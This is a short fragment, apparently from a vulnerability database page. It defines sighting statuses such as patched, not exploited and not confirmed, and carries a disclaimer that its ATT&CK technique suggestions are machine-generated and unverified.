- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
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